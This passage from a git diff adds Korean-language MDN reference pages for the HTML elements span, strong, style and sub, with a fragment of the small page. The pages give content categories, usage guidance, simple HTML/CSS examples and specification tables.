+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소, 또는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 class="editable" id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_사용법">기본 사용법</h3>
+
+<pre class="brush: html">&lt;p&gt;This is the first sentence.
+ &lt;small&gt;This whole sentence is in small letters.&lt;/small&gt;
+&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("기본_사용법")}}</p>
+
+<h3 id="CSS_예제">CSS 예제</h3>
+
+<pre class="brush: html">&lt;p&gt;This is the first sentence.
+ &lt;span style="font-size:0.8em"&gt;This whole sentence is in small
+ letters.&lt;/span&gt;
+&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("CSS_예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comments</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-small-element', '&lt;small&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-small-element', '&lt;small&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'present/graphics.html#edef-SMALL', '&lt;small&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="참고">참고</h2>
+
+<p>{{htmlelement("b")}}, {{htmlelement("i")}}, <code>&lt;small&gt;</code> 요소는 구조와 표현을 분리하는 원칙을 위배하는 것처럼 보이지만, 셋 모두 HTML5에서 유효합니다. 작성자는 <code>&lt;small&gt;</code>과 CSS 중 어느 것을 사용할지 결정하기 전에 심사숙고해야 합니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.small")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("b")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/span/index.html b/files/ko/web/html/element/span/index.html
new file mode 100644
index 0000000000..ffa73e9f9a
--- /dev/null
+++ b/files/ko/web/html/element/span/index.html
@@ -0,0 +1,125 @@
+---
+title: <span>
+slug: Web/HTML/Element/span
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - 'HTML:Flow content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/span
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;span&gt;</code> 요소</strong>는 구문 콘텐츠를 위한 통용 인라인 컨테이너로, 본질적으로는 아무것도 나타내지 않습니다. 스타일을 적용하기 위해서, 또는 {{htmlattrxref("lang")}} 등 어떤 특성의 값을 서로 공유하는 요소를 묶을 때 사용할 수 있습니다.</span> 적절한 의미를 가진 다른 요소가 없을 때에만 사용해야 합니다. <code>&lt;span&gt;</code>은 {{htmlelement("div")}}와 매우 유사하지만, {{htmlelement("div")}}는 <a href="/ko/docs/Web/HTML/Block-level_elements">블록 레벨 요소</a>인 반면 <code>&lt;span&gt;</code>은 <a href="/ko/docs/Web/HTML/Inline_elements">인라인 요소</a>입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/span.html", "tabbed-standard")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_컨텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_컨텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_컨텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_컨텐츠">구문 콘텐츠</a> 또는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_컨텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLSpanElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="예제_1">예제 1</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html gutter:false">&lt;p&gt;&lt;span&gt;Some text&lt;/span&gt;&lt;/p&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제_1')}}</p>
+
+<h3 id="예제_2">예제 2</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush:html gutter:false">&lt;li&gt;&lt;span&gt;
+ &lt;a href="portfolio.html" target="_blank"&gt;See my portfolio&lt;/a&gt;
+&lt;/span&gt;&lt;/li&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">li span {
+ background: gold;
+ }
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample('예제_2')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>The {{glossary("DOM")}} interface is now {{domxref("HTMLSpanElement")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#edef-SPAN', '&lt;span&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.span")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>HTML {{HTMLElement("div")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/strong/index.html b/files/ko/web/html/element/strong/index.html
new file mode 100644
index 0000000000..50bfe6f78c
--- /dev/null
+++ b/files/ko/web/html/element/strong/index.html
@@ -0,0 +1,135 @@
+---
+title: '<strong>: 높은 중요도 요소'
+slug: Web/HTML/Element/strong
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - 'HTML:Flow content'
+ - 'HTML:Palpable Content'
+ - 'HTML:Phrasing content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/strong
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;strong&gt;</code> 요소</strong>는 중대하거나 긴급한 콘텐츠를 나타냅니다. 보통 브라우저는 굵은 글씨로 표시합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/strong.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a> 또는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>The <code>&lt;strong&gt;</code> element is for content that is of "strong importance," including things of great seriousness or urgency (such as warnings). This could be a sentence that is of great importance to the whole page, or you could merely try to point out that some words are of greater importance compared to nearby content.</p>
+
+<p>Typically this element is rendered by default using a bold font weight. However, it should <em>not</em> be used simply to apply bold styling; use the CSS {{cssxref("font-weight")}} property for that purpose. Use the {{HTMLElement("b")}} element to draw attention to certain text without indicating a higher level of importance. Use the {{HTMLElement("em")}} element to mark text that has stress emphasis.</p>
+
+<p>Another accepted use for <code>&lt;strong&gt;</code> is to denote the labels of paragraphs which represent notes or warnings within the text of a page.</p>
+
+<h3 id="&lt;b>_vs._&lt;strong>"><code>&lt;b&gt;</code> vs. <code>&lt;strong&gt;</code></h3>
+
+<p>It is often confusing to new developers why there are so many ways to express the same thing on a rendered website. {{HTMLElement("b")}} and <code>&lt;strong&gt;</code> are perhaps one of the most common sources of confusion, causing developers to ask "Should I use <code>&lt;b&gt;</code> or <code>&lt;strong&gt;</code>? Don't they both do the same thing?"</p>
+
+<p>Not exactly. The <code>&lt;strong&gt;</code> element is for content that is of greater importance, while the <code>&lt;b&gt;</code> element is used to draw attention to text without indicating that it's more important.</p>
+
+<p>It may help to realize that both are valid and semantic elements in HTML5 and that it's a coincidence that they both have the same default styling (boldface) in most browsers (although some older browsers actually underline <code>&lt;strong&gt;</code>). Each element is meant to be used in certain types of scenarios, and if you want to bold text simply for decoration, you should instead actually use the CSS {{cssxref("font-weight")}} property.</p>
+
+<p>The intended meaning or purpose of the enclosed text should be what determines which element you use. Communicating meaning is what semantics are all about.</p>
+
+<h3 id="&lt;em>_vs._&lt;strong>"><code>&lt;em&gt;</code> vs. <code>&lt;strong&gt;</code></h3>
+
+<p>Adding to the confusion is the fact that while HTML 4 defined <code>&lt;strong&gt;</code> as simply indicating a stronger emphasis, HTML 5 defines <code>&lt;strong&gt;</code> as representing "strong importance for its contents." This is an important distinction to make.</p>
+
+<p>While <code>&lt;em&gt;</code> is used to change the meaning of a sentence as spoken emphasis does ("I <em>love</em> carrots" vs. "I love <em>carrots</em>"), <code>&lt;strong&gt;</code> is used to give portions of a sentence added importance (e.g., "<strong>Warning!</strong> This is <strong>very dangerous.</strong>") Both <code>&lt;strong&gt;</code> and <code>&lt;em&gt;</code> can be nested to increase the relative degree of importance or stress emphasis, respectively.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: html">&lt;p&gt;Before proceeding, &lt;strong&gt;make sure you put on your safety goggles&lt;/strong&gt;.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample("기본_예제", 650, 80)}}</p>
+
+<h3 id="경고_표시">경고 표시</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Before proceeding, make sure you add plenty of butter.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample("경고_표시", 650, 80)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-strong-element', '&lt;strong&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-strong-element', '&lt;strong&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#edef-STRONG', '&lt;strong&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.strong")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("b")}} 요소</li>
+ <li>{{HTMLElement("em")}} 요소</li>
+ <li>{{cssxref("font-weight")}} 속성</li>
+</ul>
diff --git a/files/ko/web/html/element/style/index.html b/files/ko/web/html/element/style/index.html
new file mode 100644
index 0000000000..4e166704bc
--- /dev/null
+++ b/files/ko/web/html/element/style/index.html
@@ -0,0 +1,201 @@
+---
+title: '<style>: 스타일 정보 요소'
+slug: Web/HTML/Element/style
+tags:
+ - CSS
+ - Element
+ - HTML
+ - HTML document metadata
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/style
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;style&gt;</code> 요소</strong>는 문서나 문서 일부에 대한 스타일 정보를 포함합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/style.html", "tabbed-standard")}}</div>
+
+
+
+<p><code>&lt;style&gt;</code> 요소는 문서의 {{htmlelement("head")}} 안에 위치해야 합니다. 그러나, 일반적으로 스타일은 외부 스타일 시트에 작성하고, {{htmlelement("link")}} 요소로 연결하는 편이 좋습니다.</p>
+
+<p>문서가 다수의 <code>&lt;style&gt;</code>과 <code>&lt;link&gt;</code> 요소를 포함하면 서로의 순서대로 {{glossary("DOM")}}에 스타일을 적용합니다. 따라서 예상치 못한 종속 문제를 피하려면 올바른 순서를 따라 <code>&lt;style&gt;</code> 및 <code>&lt;link&gt;</code> 요소를 배치해야 합니다.</p>
+
+<p><code>&lt;link&gt;</code> 요소와 동일하게, <code>&lt;style&gt;</code> 요소도 미디어 쿼리를 값으로 가지는 {{htmlattrxref("media", "style")}} 특성을 포함할 수 있습니다. 이를 통해 {{glossary("viewport", "뷰포트")}} 너비 등 매체 기능에 따라 선택적으로 스타일 시트를 적용할 수 있습니다.</p>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>스타일 언어의 MIME 유형. 문자셋은 지정하지 않아야 합니다. 선택 사항이며, 기본값은 <code>text/css</code>입니다. 빈 문자열과 <code>text/css</code> 외의 값은 사용하지 않습니다.
+ <div class="note"><strong>참고:</strong> 현대적인 웹 문서에서 이 특성을 포함할 이유는 거의 존재하지 않습니다.</div>
+ </dd>
+ <dt>{{htmlattrdef("media")}}</dt>
+ <dd>스타일을 적용할 매체. 값은 <a href="/ko/docs/Web/Guide/CSS/Media_queries">미디어 쿼리</a>이며, 누락할 경우 기본값은 <code>all</code>입니다.</dd>
+ <dt>{{htmlattrdef("nonce")}}</dt>
+ <dd><code><a href="/ko/docs/Web/HTTP/Headers/Content-Security-Policy/style-src">style-src Content-Security-Policy</a></code>에서 인라인 스타일을 화이트리스트에 추가할 때 사용하는 논스(임시 값). 서버는 매번 정책을 전송할 때마다 새로운 고유 논스를 생성해야 합니다. 논스 값을 알고 있는 공격자라면 리소스 정책을 우회하는 것은 매우 간단한 일이므로, 사전에 유추할 수 없는 값을 생성하는 것이 중요합니다.</dd>
+ <dt>{{htmlattrdef("title")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/Alternative_style_sheets">대체 스타일 시트</a> 세트를 지정합니다.</dd>
+</dl>
+
+<h3 id="사용_중단된_특성">사용 중단된 특성</h3>
+
+<dl>
+ <dt>{{htmlattrdef("scoped")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>지정한 경우, <code>&lt;style&gt;</code> 요소의 부모 및 부모의 자식에만 스타일을 적용합니다.
+ <div class="note">
+ <p><strong>참고:</strong> <code>scoped</code> 특성은 <a href="https://github.com/w3c/csswg-drafts/issues/3547">https://github.com/w3c/csswg-drafts/issues/3547</a>에 따라 나중에 다시 추가될 수도 있습니다. 지금 사용하고 싶은 경우 <a href="https://github.com/samthor/scoped">폴리필</a>을 추가하세요.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_스타일_시트">간단한 스타일 시트</h3>
+
+<pre class="brush:html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+ &lt;style&gt;
+ p {
+ color: red;
+ }
+ &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;p&gt;This is my paragraph.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>{{EmbedLiveSample('간단한_스타일_시트', '100%', '60')}}</p>
+
+<h3 id="다수의_&lt;style>_요소">다수의 <code>&lt;style&gt;</code> 요소</h3>
+
+<p>다음 예제는 두 개의 <code>&lt;style&gt;</code> 요소를 사용합니다. 같은 명시도를 가진 경우, 뒤쪽 <code>&lt;style&gt;</code>이 앞쪽을 덮어쓰는 것에 주목하세요.</p>
+
+<pre class="brush:html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+ &lt;style&gt;
+ p {
+ color: white;
+ background-color: blue;
+ padding: 5px;
+ border: 1px solid black;
+ }
+ &lt;/style&gt;
+ &lt;style&gt;
+ p {
+ color: blue;
+ background-color: yellow;
+ }
+ &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;p&gt;This is my paragraph.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>{{EmbedLiveSample('다수의_style_요소', '100%', '60')}}</p>
+
+<h3 id="미디어_쿼리_포함">미디어 쿼리 포함</h3>
+
+<p>이번 예제에서는 앞선 코드의 두 번째 <code>&lt;style&gt;</code> 요소에 <code>media</code> 특성을 추가하고, {{glossary("viewport", "뷰포트")}}의 너비가 500px 미만일 때에만 스타일을 적용하도록 지정합니다.</p>
+
+<pre class="brush:html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+ &lt;style&gt;
+ p {
+ color: white;
+ background-color: blue;
+ padding: 5px;
+ border: 1px solid black;
+ }
+ &lt;/style&gt;
+ &lt;style media="all and (max-width: 500px)"&gt;
+ p {
+ color: blue;
+ background-color: yellow;
+ }
+ &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;p&gt;This is my paragraph.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>{{EmbedLiveSample('미디어_쿼리_포함', '100%', '60')}}</p>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#메타데이터_콘텐츠">메타데이터 콘텐츠</a>. <code>scoped</code> 특성이 존재하면 <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th>가능한 콘텐츠</th>
+ <td><code>type</code> 특성에 맞는 텍스트, 즉 <code>text/css</code>.</td>
+ </tr>
+ <tr>
+ <th>태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th>가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#메타데이터_콘텐츠">메타데이터 콘텐츠</a>를 허용하는 모든 요소</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th>DOM 인터페이스</th>
+ <td>{{domxref("HTMLStyleElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ <tr>
+ <td>{{ SpecName('HTML WHATWG', 'document-metadata.html#the-style-element', 'style') }}</td>
+ <td>{{ Spec2('HTML WHATWG') }}</td>
+ <td>{{ SpecName('HTML5 W3C') }} 에서 변화 없음.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('HTML5 W3C', 'document-metadata.html#the-style-element', 'style') }}</td>
+ <td>{{ Spec2('HTML5 W3C') }}</td>
+ <td><code>scoped</code> 특성이 추가됨</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('HTML4.01', 'present/styles.html#h-14.2.3', 'style') }}</td>
+ <td>{{ Spec2('HTML4.01') }}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.style")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>외부 스타일 시트를 사용하기 위한 {{HTMLElement("link")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/sub/index.html b/files/ko/web/html/element/sub/index.html
new file mode 100644
index 0000000000..a94f6a7f01
--- /dev/null
+++ b/files/ko/web/html/element/sub/index.html
@@ -0,0 +1,137 @@
+---
+title: '<sub>: 아래 첨자 요소'
+slug: Web/HTML/Element/sub
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - 'HTML:Flow content'
+ - 'HTML:Palpable Content'
+ - 'HTML:Phrasing content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/sub
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML </strong><strong><code>&lt;sub&gt;</code></strong> 요소는 활자 배치를 아래 첨자로 해야 하는 인라인 텍스트를 지정합니다.</span> 아래 첨자는 보통 더 작은 글씨 크기를 가지고, 기준선을 아래로 내려 렌더링 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/sub.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;sub&gt;</code> 요소는 타이포그래피적인 이유에 맞춰서만 사용해야 합니다. 타이포그래피적 이유란 기존의 관례나 표준이 아래 첨자로 나타내는 경우를 말하며, 단순히 작은 글자를 아래로 올려야 할 때는 사용해서는 안됩니다.</p>
+
+<p>예를 들어 비즈니스나 상품의 <a href="https://en.wikipedia.org/wiki/Wordmark">워드마크</a> 글씨 기준선을 내려야 한다면 <code>&lt;sub&gt;</code> 대신 CSS(대개 {{cssxref("vertical-align")}})를 사용해야 합니다. <code>vertical-align: sub</code>를 사용할 수도 있고, 기준선을 25% 내려야 한다면 <code>vertical-align: -25%</code>로도 쓸 수 있습니다.</p>
+
+<p><code>&lt;sub&gt;</code>의 적절한 사용처 몇 가지는 다음과 같습니다.</p>
+
+<ul>
+ <li>각주 표기. 아래의 {{anch("각주 표기")}} 예제를 참고하세요.</li>
+ <li>수학 변수의 숫자 표기. <a href="/ko/docs/Web/MathML">MathML</a>을 사용하는 방향을 고려하세요. {{anch("변수 표기")}} 예제를 참고하세요.</li>
+ <li>화학식에서 원소의 수를 나타낼 때. (개발자의 친구, C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>, 카페인) 아래의 {{anch("화학식")}} 예제를 참고하세요.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="각주_표기">각주 표기</h3>
+
+<p>각주의 숫자를 아래 첨자로 나타내는 경우도 있으며, <code>&lt;sub&gt;</code>가 흔히 쓰이는 경우입니다.</p>
+
+<pre class="brush: html">&lt;p&gt;According to the computations by Nakamura, Johnson, and
+Mason&lt;sub&gt;1&lt;/sub&gt; this will result in the complete annihilation
+of both particles.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample("각주_표기", 650, 80)}}</p>
+
+<h3 id="변수_표기">변수 표기</h3>
+
+<p>수학에서는 같은 축 위의 점 여럿과 같이, 동일한 개념을 가리키는 변수의 무리는 같은 변수명을 사용하며, 뒤의 아래 첨자 숫자로 서로 구분합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;The horizontal coordinates' positions along the X-axis are
+represented as &lt;var&gt;x&lt;sub&gt;1&lt;/sub&gt;&lt;/var&gt; ... &lt;var&gt;x&lt;sub&gt;n&lt;/sub&gt;&lt;/var&gt;.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample("변수_표기", 650, 80)}}</p>
+
+<h3 id="화학식">화학식</h3>
+
+<p>화학식에서 특정 원자의 수를 나타낼 때 아래 첨자를 사용합니다. H<sub>2</sub>0의 아래 첨자 "2"는 화학식이 나타내는 물질에 수소 원자가 2개 존재한다는 뜻입니다.:</p>
+
+<pre class="brush: html">&lt;p&gt;Almost every developer's favorite molecule is
+C&lt;sub&gt;8&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;, which is
+commonly known as "caffeine."&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample("화학식", 650, 120)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
